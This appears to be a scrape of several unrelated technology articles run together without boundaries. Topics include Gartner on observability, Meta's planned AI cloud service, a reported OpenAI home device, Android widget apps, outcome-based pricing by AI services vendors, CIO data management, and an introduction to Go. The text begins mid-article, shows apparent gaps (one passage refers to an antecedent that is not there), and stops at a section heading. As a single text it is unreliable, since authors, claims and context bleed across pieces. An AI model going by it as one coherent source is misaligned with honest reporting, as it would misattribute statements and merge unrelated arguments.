Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.

The rise of operational intelligence

As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.

For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.

Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the infrastructure-as-a-service and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.

I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.

A crowded neocloud market

The first problem Meta faces is that this is not an open opportunity. The neocloud space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in hybrid cloud, operations, and industries where governance and regulatory rigor remain central.

That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.

This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.

Harder than it looks

Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as software as a service or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.

The questions become very practical and very uncomfortable. How will tenants be isolated? How will identity and access controls work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?

Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.

Meta’s market readiness

Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.

But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an excellent cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.

That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.

What exactly is Meta?

Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.

That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.

This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.

OpenAI’s first device will be a screenless home AI system that can play music, control appliances, and respond to messages and questions, according to Bloomberg. I can’t help but ask what makes this device different from Apple’s HomePod with SiriAI?

The OpenAI product is intended to be the first of a family of solutions and is expected to use the recently-introduced GPT-Live large language model (LLM). The latter is an advanced model capable of processing information swiftly and of providing natural responses to conversations. 

A potential gold mine for hackers

This expertise might help it deliver more accurate responses to requests, though the information could also become a gold mine for data brokers, hackers, and advertisers if there turns out to be any way they can get their hands on it. It’s not yet known how — or even if — OpenAI proposes protecting user privacy within its systems. 

The device, which is still under development, is explained as being a home companion that also includes a built-in camera and sensors so it can gather contextual information about where you are, becoming an expert on you and your needs. It also features autonomous mechanical elements that physically shift on their own, intended to give the product a “personality,” rather than being a boring black box.

Can we live without this?

While OpenAI’s development is not yet complete and things could change before it reaches market, based on Bloomberg’s report I’m not terribly clear how unique it is going to be. After all, as LLM support is introduced in existing smart speaker systems from Apple, or even Amazon, what unique features does this device bring that consumers can’t live without? More particularly, what problems does it solve and why does it exist?

Manufacturing economics

What’s also unclear is how far along OpenAI is on the road to mass manufacturing the device. Apple’s recent lawsuit against OpenAI confirmed the challenger is speaking with Apple’s own manufacturing partners as well as hiring hundreds of Apple engineers. Despite the talent war, I consider it unlikely OpenAI will be able to lock in the kinds of manufacturing deals it needs to bring the product to market at an acceptable price. 

That suggests either that its inaugural “home companion” will seem incredibly expensive (as so many of the products Jony Ive has designed since leaving Apple seem to be), or that OpenAI will sell these things at a subsidy. 

Bloomberg suggests the systems will cost $200 to $300. That seems low given the current component market, expected design quality and the technology used if the plan is to make something good. And it leaves me wondering how deeply investors will underwrite hardware sales, given the eye-watering losses the company is already making.

Apple’s trade secrets case

Given ongoing speculation that Apple plans something similar in the form of a hybrid HomePod/iPad equipped with AI and limited mobility, the recent lawsuit strongly suggests Apple feels some of OpenAI’s plans cross the line into using proprietary technologies and ideas Cupertino has spent years pursuing. Apple’s lawsuit seems to bring much more meaningful evidence than just an argument concerning product design. 

Betting the farm on Ive

We also don’t know the extent to which consumers will be open to semi-sentient AI devices lurking in their lives. While Apple can lean into its loyal customer base and broaden its offering with rock-solid promises concerning user privacy, OpenAI has less to bring to the launch party.

That means it is attempting to pivot millions who use its services into investing in its hardware. It presumably hopes that it will be able to drive that transition by using the design involvement of acclaimed Apple designer Jony Ive as a form of magic talisman. 

The challenge is that while Ive is a big name in Apple history, Apple users are extremely loyal and may react against the involvement of their favorite designer. It’s like finding out someone you thought was on your team actually supported someone else. 

It will be different outside Apple, where less loyal cohorts might see the product introduction as a chance to put a design from Ive through its paces without signing up to a Mac, iPhone, iPad, or HomePod. 

For the rest of us, the question will be whether OpenAI’s Ive-designed product channels the successful design ethic of the iMac, or that of the far less successful hockey puck mouse. Like (timely World Cup klaxon) France against Spain, OpenAI’s investors have to hope the best version of Ive’s design principles show up, because their risked fortunes potentially depend on it. 

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to The Core.

Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?

Okay, so maybe there has been — erm, lots of times, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google basically buried, abandoned, and left on the brink of extinction up until its overdue revival in 2021’s Android 12 update. (And that revival, by the way, happened for no apparent reason whatsoever. Just a totally random, unprompted change of heart after a decade of indifference. Riiiiiiiiight.)

Google may have given up on widgets for a while, but the good news is that (a) they’re back, baby — still now, more than ever, even in our overly AI-obsessed 2026 timeline — and (b) the Android developer community keeps chuggin’ along and coming up with ever-more creative new ways to embrace widgets beyond what Google itself sees fit to give us. That means no matter what Android version your favorite phone is running, you can step up your own Android widget game and give yourself some fresh and fruitful paths to make the most of your phone’s framework.

Here, my dear, are some fantastic beyond-the-basics ways to put your favorite Android widgets to use and change the way you get stuff done on your phone. 

[Psst: Love learning new things? Get my free Android Intelligence newsletter to get a tasty new tip in your inbox every Friday.]

Android widget enhancement #1: The on-demand home screen pop-up

Widgets are a wonderful way to interact with all sorts of info without ever having to open up apps, but having too many widgets can quickly lead to a cluttered and overwhelming home screen.

Well, here’s a neat way to give yourself the benefit of a widget while still maintaining a neat and minimal space for working: An excellent app called Popup Widget lets you create an on-demand pop-up widget (get it?!) that looks like a regular ol’ icon on your home screen but then loads any widget you want when tapped.

See?

JR Raphael, Foundry

You can even get really wild and set up a single icon that opens multiple widgets at the same time — like your inbox and your calendar together:

JR Raphael, Foundry

Not bad, right?

Popup Widget costs two bucks and doesn’t require any special permissions or manners of access. And it’s pretty simple and self-explanatory to set up: Once you install and open the app, it’ll walk you through adding in whatever pop-up widgets you want. You can choose the name and even the icon associated with each one along with its precise placement on your screen and how much the screen behind it should dim when it’s loaded.

The app will offer to add the shortcut directly onto your home screen for you then, or you can also find all of your Popup Widget creations by pressing and holding the main Popup Widget icon in your app drawer.

Alternatively, if you’re already using a custom Android launcher like Smart Launcher or Niagara, you can find similar options for summoning widgets on demand within their settings — no separate apps even required.

And that, my widget-loving wallaby, is but our first winning widget possibility.

Android widget enhancement #2: The on-demand universal pop-up

If you like the idea of having a widget on demand but would rather have it be available to summon from anywhere instead of just from your home screen, this next wacky widget option is just the thing for you.

It comes from a spectacular app called Edge Gestures, which works in conjunction with Popup Widget to take that same concept and make it universally accessible. (I told ya it was wacky!)

When you first install Edge Gestures, the app will prompt you to enable it as a system accessibility service and to grant it the ability to display over other apps. These permissions sound scary — and they should! — but in the case of this specific utility, they’re absolutely appropriate and necessary in order for it to operate. The former is the only way an app is able to create a custom system-wide gesture, which we need for this setup to work its magic, and the latter is how your widget is able to be shown on top of whatever else you’re doing.

(If you’re at all worried, note that Edge Gestures doesn’t request any other significant system permissions. Beyond that, it’s reputable, it’s been around for quite a long while, and it has a large number of overwhelmingly positive reviews.)

Where were we? Oh, right: Once you’re inside the Edge Gestures configuration area, you’ll be able to select exactly what gesture you want to use for pulling up your widget. I’d think carefully about finding something that won’t interfere with anything else, like the system-level Android gestures, and that’ll be convenient to access without being a command you’re likely to trigger by mistake.

So, for instance, you might make the gesture a simple swipe downward along the left side of your screen. To do that, you’d find the “Swipe down” option within the app’s “Left” tab, and you’d set it to “Popup Widget” — and then create or select whatever Popup Widget item you want. And remember: You can select one widget or multiple widgets, too.

Prepare yourself for some serious oohing and ahhing:

JR Raphael, Foundry

As you can see, this opens up a whole new world of mobile multitasking potential. I mean, really: How could you not love that?!

The final thing worth doing is going into all the other gesture options in that same configuration area and tapping “Clear” for each of ’em to get rid of Edge Gestures’ default actions. I’d also go into whichever side of the screen you aren’t using — left or right — and tap the toggle to turn the gestures for that side off entirely. That way, you won’t inadvertently activate any gestures that you don’t actually want or need.

Edge Gestures costs $2 to use.

Android widget enhancement #3: The physical key call

Next, here’s an interesting twist on that same on-demand Android widget idea: You can make any widget especially easy to access from anywhere without even having to mess around with any on-screen swiping by setting one of your phone’s physical keys as a trigger for the widget’s appearance.

I’ll give you a second to catch your breath and process the sheer splendor of that sorcery.

Back? Cool. So, the key to this feat (har har) is the combination of the aforementioned Popup Widget and a handy Android contraption called Key Mapper — which makes it easy to map your phone’s physical keys to all kinds of crazy custom actions.

In this case, we’ll set it up so that pressing and holding one of your volume keys causes whatever widget you want to be summoned, like so:

JR Raphael, Foundry

Pretty nifty, no?

I’ve got step-by-step instructions for making this happen in this separate guide.

Android widget enhancement #4: The floating bubble

If you like the notion of having a widget always available but aren’t so keen on the hidden gesture concept, an app called Overlays will let you create a small floating bubble that you can position anywhere on your screen and then tap to pull any widget up when you want it — just like with Android’s recently revived Bubbles multitasking system, only compatible with any Android device and version and with the simplicity of a widget instead of the complexity of an entire app.

Check it out:

JR Raphael, Foundry

By default, Overlays gives you a bunch of its own little widgets to choose from, but the real power comes from adding in widgets from the Android apps you actually rely on. To do that, tap the “Triggers” tab at the bottom of the Overlays configuration area, then tap the red plus button in the lower-right corner of the screen. Select “Manual,” then type in whatever name you want for your widget and tap the icon to pick any icon you like.

Tap “Save,” then select “Widget” and find the widget you want from the list. At that point, you’ll see a preview of the widget. Move or resize it if you like, then hit the arrow in the upper-left corner of the screen to exit out of that interface. Last but not least, tap the name of your newly made widget on the screen that comes up next to change its status to “Always on.”

As soon as you head out of the app and back to your home screen, your fancy new widget should pop right up. All you’ve gotta do is tap the little downward-facing arrow in its corner to minimize it down to a bubble, which you can then press and hold to move anywhere your widget-worshipping heart desires.

Overlays can also create widgets that automatically appear based on context — so you could have something show up every time you connect to a certain Bluetooth device or Wi-Fi network, for instance. To explore those options, just follow the same steps from above but pick “Event” instead of “Manual” when you reach the “Triggers” tab configuration.

Overlays is free with an optional $4 in-app upgrade that removes some ads from the configuration tool and unlocks a handful of advanced features.

Android widget enhancement #5: The widget stack

Last but not least in our collection of wacky Android widget possibilities is one of my favorite widget wonders — and that’s the ability to stack multiple widgets and then swipe between ’em on your home screen without having ’em take up any extra space.

Check it out:

JR Raphael, Foundry

This enhancement presents a bit of a choose-your-own-adventure-style path:

First, if you’re using a reasonably recent Samsung Galaxy gizmo, the option is should already be present and available in your standard Samsung home screen setup. Just press and hold any open space on your home screen and then select the option to add a widget — then, once the widget is added, press and hold it and look for the “Create stack” command.

With any other Android gadget — or even with a Samsung device, if you want extra options and flexibility — you can use a custom Android launcher like the aforementioned Smart Launcher or Niagara as well as the retro-geeky T9-themed Key Launcher I introduced to you earlier this summer.

Those launchers replace your phone’s entire home screen environment and give you all sorts of interesting new possibilities for optimizing your interface and making it especially well-suited for you. And the stacked widget feature is just one small sliver of what they offer and how they’ll transform your Android experience.

JR Raphael, Foundry

So there ya have it: five wacky, wild, wonderful ways to make widgets even more wow-inducing. Some days, you’ve just gotta love Android and the endless customization, control, and power it provides.

Put even more Googley goodness in your noggin with my free Android Intelligence newsletter — one exceptional new thing to try every Friday!

Venture-backed firms are buying up the support, finance-ops and managed-services providers enterprises rely on and re-platforming them around AI agents — and the renewal that follows arrives priced per outcome, sold as your advantage. The acquisition-built structure and unproven stability create governance and continuity risks your vendor process isn’t sized for. Here’s how to keep the leverage on your side of the table.

The first time an AI-native services pitch crossed my desk, I nearly signed it. The savings were real, the agents demoed cleanly and the pricing was the kind procurement loves — per resolved case, not per seat. What I almost missed was who got to define the word “resolved.” On an earlier outsourced-support arrangement, back in my public-sector days, the vendor’s reported resolution rate looked excellent right up until we pulled the reopen numbers ourselves. Auto-closed tickets had been counted as wins. Users had quietly stopped logging issues at all. The dashboard was green; the service was not.

That gap — between the number on the contract and what your users actually live with — is the whole game now, and it is about to scale across your portfolio. Gartner’s 2026 CIO and Technology Executive Survey found only 17% of organizations have deployed AI agents, but more than 60% expect to within two years — the steepest adoption curve of any emerging technology it tracks. The providers running your services are moving first, and the contracts are changing faster than most of us can govern them.

The agents underneath these pitches are also nowhere near as reliable in production as they look in the room. Gartner expects more than 40% of agentic AI projects to be canceled by the end of 2027 on cost, unclear value and weak risk controls, and reckons only about 130 of the thousands of self-described agentic vendors are the real thing — the rest are “agent washing” old chatbots and RPA. Treat any headline resolution rate the way you treat a vendor’s own uptime stats: Marketing, until you have seen it run on accounts like yours.

What’s behind the pitch

The challenger’s economics aren’t magic. They come from a reshaping of the services market: Venture-backed firms buying up fragmented, labor-heavy providers — support desks, contact centers, AP and finance ops, slices of managed IT — and re-platforming them around agents. Many of the companies pitching you are not one company at all but several acquired shops stitched onto a shared AI layer. That barely comes up in the sales meeting. It matters enormously once you are the customer.

The direction is independently corroborated, not vendor hype. Everest Group reports outcome-based pricing in business-process services moving from pilots to scaled adoption as AI makes outcomes measurable enough to contract on, with the binding constraint now governance and verified baselines. HFS Research tracks the same “services-to-software” shift across consulting, IT, and operations providers. Here is the part worth holding onto: Most enterprises are early, so you have a little time. But the first vendors to reprice you this way will be the small, single-source ones in the long tail of your portfolio — which, if your stack looks anything like mine, is most of it.

Don’t assume the incumbent is the safe choice

And don’t kid yourself that renewing with the familiar name keeps you clear of this. The big integrators are pulling labor out of their own delivery just as fast — Accenture cut tens of thousands of roles and rehired against an AI-skills filter — and rewriting deals around a share of savings instead of time and materials. Outcome pricing is becoming the default everywhere. There is no version of this where you sit it out.

Two risks your vendor process won’t catch

The first is governance, and the roll-up structure makes it worse than the usual AI-vendor worry. The company you are contracting with isn’t one system. It is several acquired firms with different data practices and security postures, with an AI layer dropped on top at speed. Your customer records, invoices and support transcripts flow into agents whose decisions you often can’t trace, across entities that were never built to one standard. The numbers here aren’t comforting: IBM’s 2025 Cost of a Data Breach Report found 63% of breached organizations had no AI governance policy at all, and 97% of those that suffered an AI-related breach lacked basic AI access controls — AI adoption, IBM concluded, is outpacing both security and governance. When an agent botches a dispute or misroutes regulated data, the regulator and the customer come looking for you, not the platform. And here is the organizational trap: The savings line is what your CFO signs; the provenance question is the one your audit committee won’t ask until after the incident. Nobody raises it for you.

The second is whether the provider will still be standing in three years. These platforms are new, built by acquisition, venture-funded and not one has run through a full contract term or a real downturn. With Gartner expecting more than 40% of agentic AI projects to be canceled by 2027, putting core operations on a young, agent-dependent vendor is a single point of failure dressed up as innovation. Write the exit and data-portability terms before you sign — while you still have leverage to.

Six questions for the renewal

When the challenger shows up — or your incumbent reprices to match — these are the questions I would put on the table. They come down to one thing: Making sure you, not the vendor, own the number.

1. Definition, baseline, guardrails. Make “resolved” mean what your users experience, measured against a baseline you have captured yourself, and tie it to metrics you own — first-contact resolution, reopen rate, time-to-resolution. Expect procurement to resist because pinning this down slows the deal. Hold the line; it is the whole ballgame.
2. Real agent, or agent washing. Gartner reckons only a sliver of self-described agentic vendors are the genuine article. Make them prove it: Production resolution on accounts like yours, and the human-escalation rate sitting behind that number. Not a demo.
3. Auditability, as a gate. SOC 2 at minimum, increasingly ISO 42001 or NIST AI RMF alignment, plus model cards, decision logs and an incident-response plan they have actually tested. If they can’t show how data is walled off between their acquired entities, or how an agent’s decision gets traced, they aren’t ready for anything regulated. This belongs in the shortlist criteria, not the post-mortem.
4. Where autonomy stops. Decide which actions an agent can take alone and which need a human, how it hands off with context and who is accountable when it acts on its own. Put names against it before go-live.
5. The exit. An embedded agent platform gets stickier than the staffed incumbent it replaced, faster than you would think. Lock down data portability, knowledge-base ownership and a way out while you are still the one with leverage.
6. Capacity, not just cost. The best outcome here often isn’t a smaller bill. It is the demand that your old service levels were quietly turning away. Nobody answered the tickets. The cases that aged out. Ask what fixing that is worth before you optimize purely for headcount.

The move

Outcome pricing is where this lands, and on balance, that is progress. But in the near term, it hands the advantage to whoever can measure the outcome — and in most shops, that isn’t the buyer. The edge isn’t picking the cleverest challenger or the safest incumbent. It is being able to hold any of them to a result, on your numbers. Look again at why Gartner thinks so many of these projects die: Not the technology — cost, fuzzy value, weak controls. Our side of the table. So, start there. Take one high-volume, measurable workflow, pilot it against a baseline you own, instrument it with your own metrics, and treat the muscle you build doing that as the real deliverable. Get it right and the pricing model stops mattering. Skip it, and you have just agreed to pay for someone else’s definition of done.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Since the advent of generative AI, the use of AI in business has shifted from something we should do to something we must do to survive. Many companies are now working to utilize AI with the aim of improving productivity and creating value.

Here, I would like to pose a question to you all once again: “What is the fundamental factor that determines AI performance?”

Is it the AI model? Is it the AI tool? Or is it the AI agent?

Of course, I believe all of these are important. However, if we look at the long-term perspective, the competition among multiple companies to improve AI model performance will eventually level off, and we will eventually reach a point where every AI model is amazing!

In that context, what I believe is the most important factor influencing AI performance is the data accumulated by companies that connects to their unique strengths.

For example, if asked, “What do plants need to grow?” I would say “good water and light.”

Similarly, if asked, “What do people need to thrive?” I would say, “Kind words.”

Finally, “What does AI need to thrive?” The answer is “good data.”

I believe that the extent to which companies can genuinely understand the importance of this extremely simple principle and implement it with unwavering dedication will determine their ability to establish a competitive advantage and achieve sustainable growth.

AI is a mirror of data

As I’m sure you’re all aware, AI is by no means a magic wand. It is an entity that learns based on the data it is given and makes inferences within that scope. In other words, AI’s output depends heavily on the quality of its input data; one could say that AI is a mirror of data.

• If you feed it inaccurate data, it will return inaccurate results (i.e., garbage in, garbage out)
• If you feed it biased data, it will make biased judgments
• Insufficient data yields only shallow insights and suggestions

In this way, AI is not smart but rather faithful to the data. Based on this premise, it becomes clear that the essence of AI utilization lies not in which tools to use, but in what kind of high-quality data to prepare and how to utilize it.

What is good data?

So, what exactly is good data?

It goes without saying that data is useless if it is merely abundant in quantity, but on the other hand, what specific qualities must good data possess?

Generally speaking, good data possesses at least the following elements.

• Accuracy: Data containing many errors or noise will skew conclusions, no matter how advanced the analysis. It is important to minimize sensor errors, input mistakes and duplicates.
• Completeness: Are any required fields missing, and are there too many missing values? For example, if customer data is missing information such as age, region or gender, it becomes difficult to perform meaningful analysis.
• Consistency: Is data with the same meaning mixed in different formats (e.g., date formats, units, variations in notation)? This is particularly important for system integration and long-term data.
• Timeliness: No matter how accurate it is, data that is too old may not be useful for decision-making. Whether real-time data is required or historical data is sufficient depends on the use case, but it is important that the data has the appropriate freshness for the purpose.
• Relevance: If there is a large amount of data unrelated to the analysis objective, it becomes noise and leads to incorrect judgments. It is necessary to clearly define what the data is used for and ensure the data is appropriate for that purpose.
• Reliability: The data’s source and collection method must be clear, ensuring reliability and reproducibility. Data with an unknown source or that is a black box cannot be verified later.

In summary, good data is data that is accurate, has few gaps, is consistent in meaning and notation, is collected at the appropriate time, is suitable for the purpose and comes from a reliable source.

Only when the quality of this good data is guaranteed can AI produce valuable outputs. Conversely, introducing AI with unorganized data will not yield the expected results. Many complaints, such as “We implemented AI but it’s unusable” or “The AI’s accuracy isn’t improving stem from data issues.”

Data does not organize itself naturally

The key point here is that good data does not arise naturally. On the contrary, if left unattended, data will inevitably deteriorate.

• Rules become inconsistent depending on who entered the data and when
• Multiple instances of data with the same meaning exist
• Outdated data is scattered and left unattended
• Data becomes siloed by department

These conditions are likely common in many companies.

Below is an overview of our company’s data management framework.

Akio Ueda

Broadly speaking, it consists of data governance — covering roles and structures, risk management and evaluation — and data management, which encompasses data utilization cycle management and data utilization support services. Within this framework, data utilization cycle management involves:

• Needs management: We clarify the purpose and needs by asking, “What is the data being used for?” and “For whom, and in what way, does this data create value?”
• Collection: We gather the necessary data based on the defined objectives. We design the process to determine what data is required (internal/external), the level of detail and frequency of collection, and how to ensure data quality.
• Processing: We enhance the quality and prepare the data for use. This includes cleansing (correcting errors and missing values), standardizing formats, deduplicating and integrating data, processing structured and unstructured data separately, and assigning business and operational meaning to the data.
• Storage: We ensure the data is available to the right people at the right time. This involves storing data in databases or data lakes, implementing security and access controls, and managing metadata (ensuring the data is clearly identifiable).
• Utilization: This is the most critical step. The purpose of data is not merely analysis but driving action. We generate value from the data through visualization (dashboards), analysis (statistical processing, BI, AutoML, AI) and integration into business operations (automation and decision support).
• Disposal: We properly dispose of data that is no longer needed. Simply holding data can itself pose risks, such as managing retention periods, complying with laws and governance requirements, and mitigating security risks. That is why the principle of not holding data that is not used is so important.

Data management is not a one-time effort; it is an ongoing initiative that requires continuous maintenance and improvement.

The CIO must embed data management as a system within the organization and continue to implement it until it becomes firmly established.

Data management is not just the IT department’s job

Another important point is that data management is not just the IT department’s job.

Data is fundamentally generated within day-to-day operations on the front lines. Therefore:

• Who determines the meaning and definition of data
• How should input rules be standardized?
• How do we ensure data quality?

are, in essence, operational issues, business issues and management issues.

The latest Digital Skills Standard ver. 2.0, published by the Ministry of Economy, Trade and Industry in April 2026, defines the following three roles within the data management category:

• Data steward: Based on business domain knowledge, this role is responsible for operations aimed at ensuring data quality, reliability and security, as well as for promoting the adoption and establishment of data management within business divisions and frontline organizations, and for fostering data utilization. In short, they are the data quality manager and data utilization promoter.
• Data engineer: This role involves understanding the current state of data and supporting the organization’s continuous data utilization through data preparation and preprocessing in processes such as collection, integration, processing and provision, as well as the design and implementation of data pipelines. In essence, they are the implementers and operators who drive data.
• Data architect: This role involves taking a bird’s-eye view of the data structure, flow and utilization methods across the entire organization and business. By designing and continuously reviewing data architecture that encompasses the entire data lifecycle in alignment with business strategy, they ensure the successful integration of company-wide data utilization and governance—essentially serving as the overall designer of data.

The CIO is not merely responsible for establishing data storage and analysis infrastructure; they are also tasked with appropriately assigning personnel to these three roles within the company and establishing cross-departmental, company-wide tools and rules to connect data with management, business operations and daily tasks.

Ultimately, the success of data utilization depends on organizational culture

On the other hand, no matter how much progress is made in staffing, infrastructure, tools and rulemaking, data will not be utilized unless there is an organizational culture that actively drives management, business and operations based on data.

• The purpose of data entry is not understood
• Data is optimized solely for the department’s own operations
• Decision-making based on data is not valued

In such a situation, no matter how well the systems are set up, they will become mere formalities.

In contrast, in organizations where data utilization is advanced:

• Discussions are based on data
• Formulate hypotheses and verify them with data
• And continuously improve based on data

These actions occur naturally.

In other words, the essence of data management ultimately lies in creating an organizational culture that assumes the effective use of data.

Data management cannot be achieved overnight. That is precisely why it is important to start small and build on your successes.

• Organize data for specific tasks and achieve results through the use of AI
• Rolling out successful practices
• Gradually Expand the Scope

By repeating this cycle, the importance of data will permeate the entire organization.

The role expected of a CIO in the AI era

In the AI era, the role expected of a CIO has changed significantly.

Traditionally:

• Ensuring the stable operation of systems
• And optimizing costs

However, moving forward:

• We will view data as an asset and maximize its value
• Developing the data infrastructure, tools and rules that underpin AI adoption, and advancing personnel allocation and development
• And fostering an organizational culture that embraces data utilization —roles that are more directly linked to business management

In other words, the CIO must evolve into the person responsible for creating value from data.

Data is the source of competitive advantage

In the coming era, the use of AI will be a given. What will set companies apart is not whether they use AI, but what data they possess.

Data is the accumulation of a company’s past strengths and the source of future value creation. And its quality is determined by daily operations and the nature of the organization.

• AI grows by being fed good data
• And companies grow through that AI

Taking this simple principle as our starting point, we must place data management at the core of our business strategy. Isn’t that the shortest route to sustainable growth in the AI era?

CIOs are called upon to lead the way in making this a reality.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Over its more than 15 years in the wild, Google’s Go programming language has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important cloud-native software projects.

If you’ve ever wondered why Go is the language of choice for projects like Docker and Kubernetes, this article is for you. We’ll discuss Go’s defining characteristics and how it differs from other programming languages. You will also learn what kinds of projects Go is best suited for, including the state of Go development for AI-powered tools. We’ll conclude with an overview of Go’s feature set, some limitations of the language, and where it may be going from here.

Also see: Golang tutorial: Get started with the Go language.

Go is small and simple

Go, or Golang as it’s often called, was created by Google employees—chiefly longtime Unix guru and Google distinguished engineer Rob Pike—but it’s not strictly speaking a “Google project.” Rather, Go is a community-developed open source project, spearheaded by leadership with strong opinions about how Go should be used and the direction the language should take.

Go is meant to be easy to learn and straightforward to use, with syntax that is simple to read and understand. Go does not have a large feature set, especially when compared to languages like C++. Go’s syntax is reminiscent of C, making it relatively easy for longtime C developers to learn. That said, many features of Go, especially its concurrency and functional programming features, harken back to languages like Erlang.

As a C-like language for building and maintaining cross-platform enterprise applications of all sorts, Go has much in common with Java. And as a means for enabling rapid development of code that might run anywhere, you could draw a parallel between Go and Python, though the differences outweigh the similarities.

The Go documentation describes Go as “a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.” Even a large Go program will compile in a matter of seconds. Plus, Go avoids much of the overhead of C-style include files and libraries.

Advantages of the Go language

Go is a versatile, convenient, fast, portable, interoperable, and widely supported modern language. These characteristics have helped to make it a top choice for large-scale development projects. Let’s look more closely at each of these positive qualities of Go.

Go is versatile and convenient

Go has been compared to interpreted languages like Python in its ability to satisfy many common programming needs. Some of this functionality is built into the language itself, such as goroutines for concurrency and thread-like behavior, while additional capabilities are available in Go standard library packages, like the http package. Like Python, Go provides automatic memory management capabilities including garbage collection.

Unlike interpreted languages, however, Go code compiles to a fast-running native binary. And unlike C or C++, Go compiles extremely fast—fast enough to make working with Go feel more like working with an interpreted language than a compiled one. Further, the Go build system is less complex than those of other compiled languages. It takes few steps and little bookkeeping to build and run a Go project.

Go is faster than many other languages

Go binaries run more slowly than their C counterparts, but the difference in speed is negligible for most applications. Go performance is as good as C for the vast majority of work, and generally much faster than other languages known for speed of development—including JavaScript, Python, and Ruby.

Go is portable and interoperable

Executables created with the Go toolchain can stand alone, with no default external dependencies. The Go toolchain is available for a wide variety of operating systems and hardware platforms, and can be used to compile binaries across platforms. What’s more, Go delivers all of the above without sacrificing access to the underlying system. Go programs can talk to external C libraries or make native system calls. In Docker, for instance, Go interacts with low-level Linux functions, cgroups, and namespaces to work container magic.

Go is widely supported

The Go toolchain is freely available as a Linux, macOS, or Windows binary, or as a Docker container. Go is included by default in many popular Linux distributions, such as Red Hat Enterprise Linux and Fedora, making it somewhat easier to deploy Go source to those platforms. Support for Go is also strong across many third-party development environments, from Microsoft’s Visual Studio Code to ActiveState’s Komodo IDE.

Also see: 8 reasons developers love Go—and 8 reasons they don’t.

Optimal use cases for the Go language

